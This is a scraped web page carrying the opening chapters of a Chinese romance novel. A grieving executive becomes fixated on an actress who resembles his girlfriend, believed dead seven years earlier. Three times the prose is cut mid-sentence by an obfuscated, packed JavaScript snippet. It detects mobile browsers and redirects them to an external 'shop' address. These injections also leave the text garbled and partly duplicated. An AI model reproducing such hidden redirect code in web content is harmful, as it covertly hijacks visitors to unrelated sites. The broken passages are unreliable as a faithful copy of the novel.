《重映》 1. 第一幕 周三傍晚,周寒时比以往提前了半个小时离开公司。 他今晚有个饭局要赴,牵头人是一位姓方的制片人。 认识方制片,是因为之前受好友所托,以自己的名义帮忙投资了一部电影。 后续的事情周寒时没有特意关注过,不过也有所耳闻,电影上映后毫无水花,投资血本无归。 不过那笔钱朋友一早就还给了他,所以他对此毫无异议,阔气大度得像个人傻钱多的善良富二代。 估计方制片是误会了什么,一有缺钱的项目,立刻又想到他,前不久发来一个剧本,问他有没有投资意向。 周寒时起初直接拒绝了。 但方制片有备而来,对周寒时做了更多了解,知道他在做公益事业,投其所好,承诺电影上映后,会拿出1%的月度票房捐赠给慈善机构,帮助偏远地区的女孩们上学,也会在电影发布会上利用影响力去宣传相关的慈善项目。 因为这一点,他才愿意松口谈谈这次的合作。 坐在车上,周寒时回忆了前几天晚上看过的剧本,他不太懂电影,但不从商业角度来看,故事表达的内核还不错。 只是不知道选角合不合适,毕竟好的演员才能讲好故事。 想到这儿,周寒时微微皱眉,他最近太忙,忘记看和剧本一起发来的演员资料。 方制片提过,今晚的饭局除了导演和另外两位投资人,还有几位主演,应该可以先作了解。 资方有参与选角的权利,如果真的定下合作,有不合适的演员,他会提出换人的意见。 到时再说吧。 周寒时靠在后座,慢慢呼出一口气。 他最近又有些失眠。 晚高峰的街上车水马龙,红色的车尾灯汇聚成流,车子在其中堵一段开一段。 商务车里。 岑遥看了眼手机上的时间,“应该来得及吧,迟到的话俐姐真得骂我了。” 助理小畅说:“来得及,还有半小时呢。” 岑遥今天有组杂志内封要拍,早上就到影棚,陆陆续续地做了几套妆造,拍摄一结束就往会所赶。 为了保证上镜状态,她从早晨到现在只喝了一杯冰美式,半块碱水包,这会儿放松下来,胃里空荡荡的感觉很明显,人也犯困。 她咕哝着念叨:“好想睡觉啊。” 小畅给她打气:“再坚持一下,今晚过去,这个月就没工作了,可以好好休息休息,加油遥遥姐。” “畅儿,这个月只剩三天了。”岑遥有气无力地淡淡道。 小畅偷笑。 车厢内安静一会儿,又响起岑遥的声音:“不过忙总比不忙要好。” 小畅知道她的话是什么意思,“希望这次也能顺利。” 她指的是今晚的饭局,顺利的话,就能定下投资,电影也可以尽早开拍。 “会的。”岑遥朝小畅弯弯唇。 漴城的秋天温润,十月底略带凉意的气温对岑遥来说刚刚好,她降下车窗,借着冷风吹散倦怠感。 与此同时,和她们同向的左车道上,一辆黑色梅赛德斯内,周寒时的视线几乎凝滞住。 未等他看清一晃而过的面庞,信号灯便跳转了。 路段疏通,商务车缓缓提速,消失在周寒时的视线里。 而他像被施咒,仍旧僵硬地看向车窗外。 身侧的助理宋奎察觉出他的反常,出声询问,“周总,有什么事吗?” 周寒时顿一下,想说什么,但最后还是没有开口。 应该是最近失眠引起的。 他以前也有过比方才那样匆匆一眼更真实的幻觉。 抵达会所后,周寒时在车内坐了十多分钟。 即便告诉自己那是幻觉,他还是迟迟没能将状态调整好。 宋奎的精神高度紧绷,一直留心观察着周寒时的状态。 从进公司起,宋奎就听说过一些五花八门的,关于大老板儿子也就是周副总的传闻。 其中的真真假假无从考证。 但有一点可以确定的是,周寒时确实有心理方面的疾病,这是宋奎担任副总助理后得知的。 ——周寒时会定期去看心理医生。 宋奎试着问:“周总,要不然我现在联系方制片,把今晚的饭局推了?要给您约赵医生吗?” “不用。” 周寒时缓过神,打开车门下了车,宋助理留在车内等他。 因为在车里多坐了一会儿,周寒时迟到了几分钟,进包厢时人已经到齐了。 方制片起身招呼他。 周寒时先开口道:“抱歉,路上有些堵车。” 一旁的另一位投资商笑呵呵,“没事,我们也是刚坐下。” 方制片点点头,“周总来得刚好,我给大家介绍一下哈。” 他稍稍侧过身,“这位是我们的总导演徐铭,年轻有为啊,这几年大大小小的奖拿了不少,去年还有部片子入围了柏林电影节呢。” 徐铭平日的穿搭随意到不修边幅,但分得清场面,今天穿得人模狗样,还不忘践行微笑服务。 包厢的灯光不似外面的明亮,但格局宽绰。 除去导演,《碧血》剧组还来了四位演员,岑遥是最年轻的,资历也最浅,自觉地坐在不太起眼的位置。 那边的几人寒暄时,她带了点眼力见的注意着动向。 坐在她身旁的祁子亨拿胳膊肘碰她一下,压着声偷偷调侃:“你看徐导笑得是不是特谄媚?” 祁子亨只大她两岁,但他是童星出道,名气比她大不少,两人以前搭过一次戏,对彼此都不算陌生。 岑遥没附和,但朝徐铭脸上看了一眼后,也抿唇笑了。 祁子亨接着闲聊,“哎,那位也是投资商?看着年纪不大啊。” 他口中的人,岑遥也注意到了。 因为身材好,那个男人的西装穿得比旁人更为板正,灰色衬衫的扣子一丝不苟地系到领口第一颗,领带不歪不拧,和西装同色系。 而他本人也有一副好皮囊,清瘦俊朗,皮肤冷白,最出众的是气质,像落雪的松杉树,清冽干净中夹杂着和外表不相符的肃穆和阴郁。 看到他的第一眼,岑遥就被他吸引住。 真是,好特别的一个人。 可能因为这份特别,她不由自主的更关注他。 她仗着自己坐得远,又不在他的视线正前方,便大着胆子打量,但下一秒,原本还在社交的男人却忽有所感地偏过头,朝她所在的方向看了过来。 偷看不太有礼貌。 岑遥反应极快地先稍稍挪开视线,举起手中的玻璃杯,战术性抿了口温水。 可余光中,那道落在自己身上的视线却好像一直没有移开。 久到众人面露不解,岑遥也状似无意地抬头,确定了他是在看她。 她心底狐疑,但面上不显,朝他露出一个自然又公式化的浅笑。 方制片率先打破僵局,“周总是不是看过我们岑遥演的电影?你看这不是巧了嘛,岑小姐也是我们剧组的主演之一。” 主演? 周寒时问:“她是演员?” 这话一听就知道,别说是看过岑遥演的电影了,他甚至都没在大荧幕上见过她。 周寒时再次看向她,他已经认出这是刚才在路上遇到的人。 有了不久前那一瞥的缓冲,周寒时才不至于失态,但也做不到视若无睹。 他几乎算是盯着她,一寸一寸地审视。 尽管这位周总的行为异于常人,但岑遥只能尽可能落落大方地回视。 只不过,不知道是不是她的错觉,她总觉得他的目光是落在了她的身上,却又没有焦点。 因为这个小插曲,后面的饭局正式开始时,周寒时身边的位置被心照不宣的空出一个。 从业这两年多,岑遥遇到过形形色色的人,见色起意的事也见了不少,已然习以为常,此时却有种古怪的不舒服哽在喉间。 也许是对自己以貌取人的小小恼火。 他不过是长得像正人君子罢了。 刚才方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469478|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制片说她也是主演之一,其实算不上。 这个角色是年初的时候定下的,徐导那边主动联系她的经纪人,发来剧本,问她有没有意向出演。在这之前,岑遥就看过徐导的作品,很喜欢他的风格,而且虽然分配给她的戏份不多,但认真演同样能让人眼前一亮,于是她一口应下。 徐铭重视这个本子,想好好拍完,可惜班底名气不够,剧组唯一自带流量的祁子亨上半年刚被爆出花边新闻,至今身上还有非议,如今又是影视寒冬,每个环节的推进都困难重重。 投资不到位,开拍时间确定不下来。 今天这场饭局的重要性,大家都心知肚明,岑遥也是。 无论如何,不能从她这儿出错。 她不是第一次参加这种应酬了,不至于怯场,落座在周寒时身旁,她拿起手边红酒,给自己和他都倒了一杯,将酒杯递给他时,岑遥发现他的脸色不好。 那眉头微蹙的样子,就好像自己又犯了什么忌讳。 岑遥摸不准主意。 她不知道的是,刚才她低头倒酒时的轮廓几乎与周寒时记忆中伏在书桌上执笔写字的身影重叠。 岑遥将酒杯递到周寒时面前,“周总。” 周寒时接过,低声道了声谢谢后便将酒杯搁在另一边,“我不喝酒。” 另一位投资商打趣道:“周总酒量不好?” 周寒时抬眼,回说:“我在吃药,喝不了酒。” 岑遥垂着眼睫摩挲自己手上的酒杯,腹诽他确实该吃点药。 但开口说话,却是贴心地问询:“那周总要不要喝点别的?” 周寒时的目光回到她脸上,思索片刻,“苹果汁吧。” 苹果汁很快被服务生送到,周到地倒在玻璃酒杯中,放在周寒时手边。 岑遥看着那杯带有清甜苹果香的鲜榨果汁,也有些想喝。 她今天都没怎么吃饭呢,空腹喝酒可是很伤胃的。 但是大家都喝酒,周寒时搞特殊就算了,她又不是投资方…… 没头没脑的思忖被一杯搁在面前的果汁打断。 周寒时的话比他的视线收敛很多,此时只是简单道:“别喝酒了。” 岑遥微微诧异地道谢,不用看都知道桌上其他人眼底的意味深长。 之后周寒时一直在和桌上的几人聊天,他们提到近几年的影视圈,也聊了短剧市场。 但也只有他清楚自己的三心二意。 他的注意力总是不受控的被身旁的人吸引。 这种饭局,大家都不是以吃饭为主,每盘菜只动几筷子,甚至有些菜纹丝未动。 她也吃得克制,只动离她最近的菜,吃的最多的是面前青瓷盘里的水果,很安静地细嚼慢咽。 为了不迟到,今天拍摄结束,岑遥只是匆匆换回自己的衣服,没来得及卸妆。 此时还顶着不太日常的上镜妆,好在化妆师足够专业,她也有一张漂亮清透的脸撑着,才不显浮夸。 从周寒时的角度看过去,她薄薄的眼皮上浮着一层蓝色眼影,是淡淡的像绿色的蓝,眼尾的眼线微微晕开,和记忆中那张脸不断重合又交错。 这世界上会有这么相像的两个人吗? 当然,也是有区别的。 周寒时心道。 比如,蔓蔓没有化过这种怪怪的妆,蔓蔓不会对他笑得这么假,蔓蔓的眼瞳黑亮,发尾却泛着营养不良的棕。 蔓蔓…… 蔓蔓…… 他听到方制片叫她岑遥。但蔓蔓叫丁小蔓。 并且在七年前,他就已经接受了她去世的事实。 当年的事,为数不多的知情者都劝周寒时过去就过去了,所以他不愿意再和别人说起她。 于是关于她的一切都渐渐模糊,像对焦失败的镜头,她的身影总是朦朦胧胧的出现在他的脑海中,唯一深刻的只有痛感。 但陈年旧伤也就这样了,因为同她联结,他不想忘记。 他需要具体又真实的疼痛,来证明她曾经在自己生命中存在过。 2. 第二幕 临近饭局的尾声时,方制片又将话题引回他们的这部电影身上,周寒时明确表明了自己的投资意向。 其他两位投资商没有给确切的态度,但已经足够了。 因为这部电影的预算本身也没有定太高。 方制片喜笑颜开,饭局结束后一路将周寒时送到停车场,要不是宋助理提前下车,他甚至连车门都要替周寒时拉开。 “那周总,具体事项等合同拟好后,我们再约时间细谈?” 周寒时略一颔首,“可以。” 他今晚情绪起伏大,心理状态不佳,话比平时更少。 准备上车前,又看见不远处的那道纤瘦高挑的身影。 她从电梯出来,和她同行的是一个年轻男演员,方才也在饭局上。 周寒时倚着车身,手肘搭在车门上,望着岑遥的背影。 夜晚温度这么低,她就穿一条及膝连身裙配长靴,走路很快,迈步干脆利落。 心底刚压下去的疑惑再次升起。 为什么连走路的风格都如出一辙? 犹豫几秒,他叫住方制片,“给我留一个岑小姐的联系方式。” 方制片面露难色,他只是为人活络一些,但是真不干拉皮条的生意啊。 他心底打鼓,一面担心快谈成的投资泡汤,一面又顾虑岑遥。 她不是半点名气都没有的新人,拍的第一部电影就可圈可点,虽然之前沉寂过一段时间,但是公认的实力咖,不是好拿捏的。 周寒时人已经坐进车里,捏捏眉心,吁一口气,“你放心,我不为难她。” 他从宋奎那儿拿了张自己的名片,递出来,“帮我把这个给她。” 他不知道自己为什么要多此一举。 方才在饭局上,她显然并不认识他,如果是蔓蔓,肯定会记得他。 司机驱车离开停车场。 宋奎目睹一切,只觉得上司今晚极为反常,竟然会主动递名片给异性。 要知道,周寒时正式任职那会儿,身边各怀心思给他介绍女伴的人层出不穷,但他始终无动于衷,经常冷着脸,拒异性于千里之外。 活得像在守寡。 驶往住处的路上,周寒时刷了一路的视频。 宋奎竖着耳朵听,总结出一个关键词——岑遥。 大概就是周总口中的那位“岑小姐”。 好奇归好奇,上司的私事也不好过问,宋奎眼观鼻鼻观心,稳重的保持沉默。 在宋奎之前,周寒时有过好几位随行特助,都是由他父亲安排的,但只有宋奎最懂分寸,才在周寒时身边待了最久。 但宋奎不问,周寒时却主动提起了。 “你认识岑遥吗?” 宋奎如实说:“没听过,是演员吗?” “嗯,以前没见过她。” “周总您不关注娱乐圈,其实也正常,像那种地广随处可见的都是很火的明星了。” 周寒时看着手机,“她这么漂亮都不火吗?” 宋奎愣一下,笑道:“娱乐圈嘛,背景、资源之类的应该也很重要。周总对岑小姐感兴趣?” 周寒时摇头,“她很像我以前认识的一个人。” 宋奎没忍住,目露诧异。 “怎么了?” “哦,我就是看您刚刚给她名片,还以为……” 周寒时眉心微拢,“我没有别的意思。” “那岑小姐可能会误会吧。” 周寒时没说话,想到岑遥在饭局上对他的态度,轻牵唇角。 他觉得她应该不会搭理他。 - “周寒时,职务……崇誉地产集团有限公司副总经理,好大的来头啊。” 小畅坐在旁边,捏着薄薄的名片研究。 小畅没跟进包厢,也没见到周寒时,担心岑遥即将遇到职场潜规则,忧心忡忡地问怎么办。 岑遥反过来安慰小畅,“没事,一张名片而已。” 他这种人不需要自降身份地做强人所难的事,只需要一点点暗示,就可以等着别人主动上钩了。 她想成功也想出名,但宁愿一条道走到黑,也不会走歪路,人生又不止一种选择。 她困得很,本来准备上车就睡的,这会儿脑海里却时不时冒出一些不久前的画面。 饭局结束的时候,她站在最后面滥竽充数地和周寒时道别,他也只是没什么表情地看她一眼,什么话都没说。 没想到人都走得没影了还要给她留张名片。 岑遥将名片对折,随手塞到车上的便携垃圾袋里。 周寒时在她心里的印象又差上几分。 - 凌晨四点多。 周寒时醒过来,从一场很久没有做过的梦中脱身。 梦中,她在学校的后门拦住他,着急地说着什么话,他听不清,只是执着地盯住她。 天空变暗是顷刻发生的事,然后他们在夜里狂奔,要甩掉身后乌压压的人,眼前是看不到尽头的路。 他暗自告诉自己要握紧她的手,跑着跑着,却在某个瞬间意识到什么,回头一看,身后空茫一片。 他什么也没握住,不知道在哪里和她失散。 醒来后,手心湿漉漉一片。 梦里和现实都没有她。 早几年的时候,他被类似的梦魇困住。 自从做了一些治疗、定期吃药之后,他的情绪淡漠许多,已经很少再做这样的梦了,以至于刚刚睁开眼时还有些遗憾。 也许是今晚见到和她很像的人,她又出现在他的梦里面,样子比以前的任何一场梦都清晰。 肋骨因为剧烈的呼吸而刺痛,他侧过身,微微蜷缩。 …… 早上到公司后,坐在办公室里,周寒时想了想,又打开电脑,输入“岑遥”。 检索结果里有很多条相关报道。 原来她进演艺圈都已经两年多了。 周寒时不关注娱乐新闻,这几年也没有看过新上映的影片,昨晚是他第一次知道岑遥。 他往下翻,看到了她的出生日期,比他小两岁。 年纪对不上。 网上关于岑遥的百科并不是十分全面,尤其是早年经历那一块,没有介绍她的毕业院校,只是说她通过了某某影业公司的面试之后顺利签约。 从周寒时了解到的来看,岑遥的演技很不错。 而且拍戏时,她脸上没有昨晚那样的浓妆,五官更清晰,也更加像他记忆中的人。 周寒时无法再用巧合说服自己。 靠在办公椅上,他按按胀痛的额角,给一位朋友打了通电话。 半小时后,办公室的门被敲响。 没等周寒时说话,门便被推开,李裕走进来。 周寒时的视线从报表上移开,“你来我这儿做什么?让你查的东西查到了吗?” 刚刚的电话就是打给李裕的。 “你总得和我说清楚啊,这样我也好找到切入点是吧?” 李裕在办公室里转一圈,最后歪坐到落地窗对面的沙发上,打量着办公桌前的好友。 周寒时沉吟片刻,又追加一个限定条件,“查查她七年前在哪里。” 他就知道。 李裕偏过头,揉了揉脸,无奈也忧心,“寒时,你是不是停药太久,又有幻觉了?” 周寒时眉心微蹙,“这不是幻觉。” “你没见过蔓蔓,所以你不知道岑遥有多像她。”他望着李裕,神态执着又严肃。 李裕坐正了,知道周寒时是认真的,这事儿得重视起来。 “……有多像?” 他顺着好友的话往下问,但心底还是没怎么信服,不是经常有人说某某某长得像哪个明星吗,岑遥正好是女明星,有人像她也正常。 还有人说他像锦户亮呢。 周寒时以前就有过幻觉,大脑不清醒的情况下,没准会把三分像看成七分。 李裕又问:“你别只看像的地方,你想想她们哪些地方不像?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469479|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周寒时没有被他绕进去,话不投机,他继续办公,冷冷地开口逐客:“我要工作了,你不帮我查,我自己来。” 只不过,难免会惊动家里人。 这几年里,他父母草木皆兵,对他的一举一动都很紧张,他不想给自己找麻烦。 “别啊,我又没说不帮忙,我就是担心你啊,哎,那个岑遥,你怎么认识的?” “昨天晚上,有个制片人拉投资,组了个饭局。” “昨晚?” 李裕理出点头绪,“寒时,其实她到底是不是蔓蔓,只有你自己最清楚,就见一面也不好下定论,要不你找机会再接触接触?当然,你交代的事,我肯定会放心上的。” 他了解周寒时,平时无欲无求的,但是一聊到那个蔓蔓就比谁都固执,没有人能劝动。 他就不信了,又不是克隆人,怎么可能一模一样。 等接触多了,自然就知道了。 退一万步说,要是那个岑遥真那么像蔓蔓……也不一定是坏事。 - 虽然十月底岑遥有几天假,但饭局的第二天,她就进了新剧组。 新剧组拍的是部微群像的古装剧,场景搭在江城的影视基地,已经开拍了一段时间,岑遥演的是单元案件里的一个角色,戏份重但不多,从合同上来看,工期大概在两周。 即便戏份不多,岑遥也认真对待着,进组前的休息时间都在看剧本,背台词。 她记性好,台词过两遍基本就不会出错了,难的是如何通过有限的镜头将人物形象立起来。 在剧组安排的酒店住下的当天,吃过晚饭,岑遥给小畅放了假,自己则宅在房间。 翻得有些卷边的剧本搭在腿上,她闭目,脑袋里在过剧情。 岑遥很清楚自己的弱势,她非科班出生,虽然这几年也上过一些表演课,但还是以情感输出为主,技巧上仍然欠缺。 她以前从没有想过自己会入这行。 工作之前她的生活全靠小姨照拂,所以在小姨把她介绍到现在的公司时,她没有犹豫便答应签约,进了公司后,剩下的路全靠她自己走。 签约的第一年,她接到的工作很少也很杂,拍不入流的平面杂志,做服装模特,去一些活动现场当礼仪小姐,演过几部扑街网剧,但这样的机会都很难得,要拼命争取。 她出演的第一个像样的作品是部悬疑电影,叫《暗烛》,这也是她的成名作,在岑遥看来,她得到那个角色是靠机遇 ——碰巧去试镜,碰巧被章见薇导演看中,力排众议,将她带进组里培训。 她在里面饰演一名从落后乡村进入大城市却意外被卷进凶杀案的年轻女孩,陷入绝境又一次次逃出生天。 某种程度上来说,这个角色的性格和人生底色都与她是契合的。 后来,这部电影在国际上得了奖,男主演斩获影帝,而她也凭借此片在电影节上被提名为最佳女主角,进入大众视野。 事业走上正轨仿佛是一夜之间的事。 公司给她配了出行用的商务车和司机,她的工作开始由专门的经纪人接管。 她开通了个人账号,有了一些粉丝,后台经常收到向她传达喜爱的留言。但紧接着,又招来中伤诽谤,承受许多莫名其妙的恶言恶语,事业也被迫停滞,直到今年年初才开始好转。 小姨告诉她这是必经之路,岑遥都明白。 她是死过一回的人,不会被轻易压垮的,她只需要目不斜视地往前走,不要再回头。 章导说她有天赋,岑遥不太敢相信,她认为是自己几乎本色出演的原因,才会发挥得这么好。 这之后的每一个角色,不论大小,她都要揣摩很久。 进新剧组就像入职新部门,要接触新的工作内容,认识新同事,因此进组后的时间总是过得很快,岑遥调整状态投入工作,早就将那晚见到的周寒时忘至九霄云外。 以至于收到周寒时的好友申请时,她没有任何准备,错愕得不知该做何反应。 3. 第三幕 那天是在片场,有场戏难拍,导演说感觉不对,叫停几次,最后让大家先中场休息。 岑遥走到场外,从小畅那儿拿到自己的手机,刚解锁就看见了一条好友申请。 【你好,我是周寒时。】 前几天,方制片在群里说过,投资方已经确定了,合同也签好,确定了开拍时间,今年春节假结束就进组。 她盯着手机看了好一会儿,不惊讶他知道她的微信号,也没傻到去问群里的其他人有没有加上周寒时的微信。 最后,为了不影响今天的拍摄,岑遥选择将手机重新锁上,假装什么也没看到。 通过周寒时的申请是在傍晚回到酒店之后。 【周总您好,下午在片场拍戏,没注意消息,不好意思。】 碍于他的身份,她总不能真的将他当空气。 编辑完回复,岑遥便进了浴室洗漱卸妆。 再次从浴室出来之后,岑遥拿起手机,发现在半小时之前,周寒时回了消息。 【没关系。你最近在拍戏?】 这么日常的问话,给岑遥一种他和她很熟悉的错觉。 【是啊,前几天刚进组,不过戏份不多,很快就能拍完了,周总放心,不会影响《碧血》的拍摄。】 【我没有担心,这几天看了几部你的作品,你很优秀,演技也好】 岑遥只当这些话是他的铺垫,没放在心上,敷衍地回复谢谢。 但周寒时没有说假话。 他花了两三天的时间,陆陆续续地看完了岑遥这几年出演的电影和电视剧里属于她的cut,包括她参与的采访和为数不多的节目,他也没有遗漏。 有时候,他看着屏幕里的岑遥,会觉得她就是蔓蔓。 这种猜测已经不是源于直觉。 他继续编辑,【上次给你名片是想自我介绍,没有别的意思,那天晚上有些匆忙,不太正式,希望你不要介意。】 这句话倒是令岑遥有些意外。 竟然是她错怪他了。 - 往后的几天里,岑遥经常收到周寒时主动的留言。 内容乏善可陈,围绕一日三餐和工作内容展开,无意义到哪怕有人捡到岑遥的手机都不会怀疑她和周寒时有什么不可告人的秘密。 他既不搞暧昧,也不说其他含糊的暗示,甚至还蛮有礼貌,好像并不打算追求她。 她看不透周寒时这个人,他应该不是花心滥情的富二代,但借着合作主动加女演员,好像也够不上光风亮节这样的评价。 可他到底图什么? 日子往后推,很快到了岑遥的杀青戏这天。 她在剧里饰演一个为百姓献身的前朝公主,最后的镜头是死于剑下。 导演喊“卡”之后,片场短暂安静几秒,接着热闹起来。 倒在地上的岑遥被对手戏里的演员扶起,很多人围上前,恭喜她杀青。 她也从戏中抽离,身着华服,顶着脸上斑斑点点的人造血浆,眼眶还红红的,却笑着和大家相互感谢、合影。 岑遥在剧组并不十分活跃,但为人平和,演戏认真,谦逊懂礼貌,一段时间的合作下来,同组的演员们对她观感都不错,都是圈内人,说不定很快就会再共事,处好关系没坏处。 其他人的戏份还没拍完,今天晚上也还有一场大戏,岑遥和大家聊了几句,配合几位群演拍完合照,便先去卸妆,离开前没忘交代小畅请大家喝奶茶。 换回常服,岑遥回到停在场外的车上。 每次杀青后回到现实,她都有种强烈的游离感。 演戏时,她清楚地知道自己身处在一个虚构的故事中,但现实却偶尔让她感到莫名的空茫。 “咚咚”两声。 有人在外叩窗,下一秒,车门被拉开。 岑遥看过去,发现是好友于畔。 有一段时间没见,于畔又换了个新发色,灰紫色的长直发,像是要马上要去演小魔仙。 不过于畔不是演员,她大学学的专业是影视导演,两人相识于《暗烛》剧组,当时她们一个拍戏,一个实习,几乎每天都能在片场见上面,一来二去,就成了至交好友。 这份友谊一直维持到现在。 “你还真来了,最近不忙?” 岑遥有些意外,昨晚于畔说过来找她玩,她还以为就是随口一说。 “我当无业游民很久啦,没有想拍的本子。” 岑遥笑一下,“要不要喝奶茶?我让小畅给你带一杯过来。” 她不太担心于畔,毕竟好友家境殷实,当无业游民都算是在给父母省心。 “好啊,给我来一杯。” 岑遥低头给小畅发消息。 “我记得你之前不是说过,想自己写篇小说吗,进度怎么样了?” 岑遥微抬下颌,“啊,这个,我还没有动笔。” 于畔催道:“快写吧,我特别想知道你会写什么样的故事。” 因为在她心里,岑遥本身就像一个令人着迷的充满悬念的故事。 岑遥没说话。 “是关于什么类型的,有灵感来源吗?没动笔是还没构思好?”于畔又问出一连串的问题。 “故事暂时保密,灵感来源……应该可以说是梦吧。” 和如今的生活相比,岑遥觉得自己人生的前半程已经遥远得像一场梦。 她不想欺骗好友,只是人总有一些不愿意提起的过去。 一些她自己都忘却一半的过去。 “没动笔是因为还有些细节,我得……再想想。” 故事的一部分取材于她自己,但总归不是记实录,需要虚构出更多的角色。 有一个人物形象,时常在她脑海中出现,如同远处的朦胧火光,忽明忽暗,真切又缥缈。 岑遥认为这也许是因为她不擅长写故事。 她没有写作功底,在人物刻画这方面肯定会有些欠缺,要再花一些时间去厘清这个人物的设定。 岑遥看向于畔,“等写完之后,我把这个故事送给你吧,你要是觉得合适的话,就拍出来,我可以投点钱,不合适就先放着。不过不管怎样,我都会把这个故事写出来。” 她下定决心的语气让于畔感到好奇。 “为什么?” “我和你说过吧,我总是觉得自己的心好像……缺了一块。” 像是每次出门后都以为自己忘带了什么重要的东西,想了许久却毫无头绪。 这些年,这种感受常常萦绕着她,不太好受。 于畔问:“写完这个故事就会好吗?” “我不知道,我想试试。” 岑遥觉得,也许是因为她总是试图忽略那段泥泞不堪的过去才会这样。 她想试试看,将属于她的经历写下来,会不会让这些虚无感变淡。 - 晚上,岑遥请客,拉着小畅和于畔在酒店附近的餐厅一起吃了顿饭。 虽然岑遥不需要减重,但进组的这半个多月,她吃得极为清淡,少油少盐,避免早起水肿。 今晚小小的放纵一下,尝了几道好吃的菜品,还在于畔的撺掇下,喝了几杯低度数清酒。 岑遥心满意足地往酒店走,脚步都轻飘飘。 快走到酒店门口时,她远远看见路牙边停了辆车。 这家酒店住了不少演员,附近有豪车并不稀奇。 让岑遥留意的是,她望过去时,恰好看见车门被从内推开,下来一位穿黑色大衣的男人。 他下车后站定,直直看向她所在的方向。 虽然有作品傍身,但她现在的热度还没有大到有粉丝来片场蹲守。 而且……那个人怎么看也不像是粉丝。 岑遥脚步顿了一下,再观望一眼,忽然认出那是谁。 看他的反应,显然更早发现她。 真是奇了怪,她戴着口罩和鸭舌帽,自认为裹得还算严实,怎么能被他认出来的。 在场三人,也只有她见过周寒时。 小畅走在岑遥旁边,慢半拍地注意到什么,戳戳岑遥,“遥遥姐,那个人是不是在看你?” 于畔也看过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果她就像他最痛苦时的臆想一样,在世界上的某个角落安然无恙的活着,那这一切都说得通了。 她还活着。 但改名换姓,好像完全不记得他了。 如果是他们只是简单的久别重逢,周寒时一定会难受,但她是“死而复生”,他就觉得怎样都好。 只要她还在,他就可以重新认识她,慢慢弄明白她这些年的经历。 他选择性忽略岑遥的结束语,只道:“你可以叫我名字。” “这……不太合适吧?” “没关系,我们年纪差不多。” 岑遥看着他,不知道他是真不懂还是假不懂。 这是重点吗?根本不是年纪的事啊。 没等她嘀咕完,面前的人又丢下一句重磅的话。 “我今天是来见你的。” 岑遥错愕得说不出话,已经放弃去想下一句职场话术。 事实证明,在打直球面前,所有的故作圆滑和八面玲珑都会被击垮。 她还未摘下口罩,周寒时看着她微微睁大一双圆亮的眼睛,忍不住弯起嘴角。 他折回身,弯腰从车里拿出几个大大的礼品袋,说明自己的来意。 “前几天听你提到今天是杀青戏,就准备了几件礼物,本来想我很喜欢你……” 他停顿一下,认真道:“拍的电影,你是位很优秀的演员。” 岑遥松了口气,但看着他递过来的东西,又连忙摆手,“礼物就不用了,您的认可是对我最大的鼓励。” “我之前看你在机场收过粉丝的礼物,以为可以才专门准备的。” “啊?”岑遥有些懵。 他是她的粉丝? 这又是什么时候的事。 “你收下吧,都是我认真挑的。” 说着,他又将礼品袋往前递了递。 周寒时个子很高,身份也不一般,但低着头垂眼看她的样子却没有任何施压的意味,语气和姿态都放得低,满是真诚。 岑遥莫名地感到心软。 这里人来人往,又是娱记们喜欢蹲守的地点之一,担心再僵持下去被拍到,她也只能先道谢收下。 4. 第四幕 回到酒店房间,大包小包的礼品袋被放在地毯上。 岑遥在路上简单地解释了周寒时的身份。 “天呐。”小畅双手合十,俨然已被周寒时的外表蒙蔽,脑补出一串粉红泡泡。 “他投资《碧血》是不是为了你?四舍五入,你也是带资进组的人了啊。” 想起前因为没背景被顶掉的几个角色,小畅颇有些畅快,仿佛已经看到岑遥日后扶摇直上的星路。 “想多了。”岑遥戳破小畅的幻想,“我们第一次见面,他都不知道我是演员。” 于畔总结:“意思是,在这半个多月的时间里,他看了你的作品并且成功被你的演技和魅力折服,路转粉了?” “可能就是这样。” 对于今晚这一出,岑遥只能这么想。 ——原来周寒时是她的粉丝。 如果单纯是为了泡她,他这样的身份,应该不需要铺垫这么多。 但给他加上粉丝的前缀,这一切就都说得通了。 包括今晚这一出,完全就是线下追星啊。 岑遥翻了翻面前的礼品袋。 随便拆开一个,便看到印着奢侈品牌logo的盒子,再打开,里面躺着一条手链。 她不知道具体价格,但这个品牌的类似系列都是高奢定位,绝不会低于六位数。 她微微咋舌,又拆两个,价格都不便宜。 于畔看呆,“狂热追星男啊。” 岑遥头都大了。 剩下的礼物没再碰,她拿起手机,点开周寒时的聊天框,发现原来他在一个小时前给她发过消息,说自己来江城了,方不方便见一面。 她当时正在吃饭,没有注意到。 岑遥暗道,这人好奇怪,说他有礼貌吧,又时不时自来熟得毫无边界感。 真是人不可貌相。 【周寒时,你的礼物太贵重了,不合适,你给我个地址,我让助理抽空给你送过去。 【刚刚在外面不方便说太多,我收礼物是早期的事了,现在是不允许的,只能收粉丝的信件。】 而且她的粉丝大部分都是些年轻的小姑娘,送的大多是一些小公仔,或者是自己做的手工品,谁像他这样一下送这么多。 他守着手机一样,回复很快。 【下不为例可以吗,我也只送这一次,这些东西对我来说不算什么】 【我只是觉得认识你太晚了,错过很多原本能见到你的机会。】 可能因为刚见过面,岑遥能在脑海中清晰地想象出如果周寒时站在自己面前说这些话的样子。 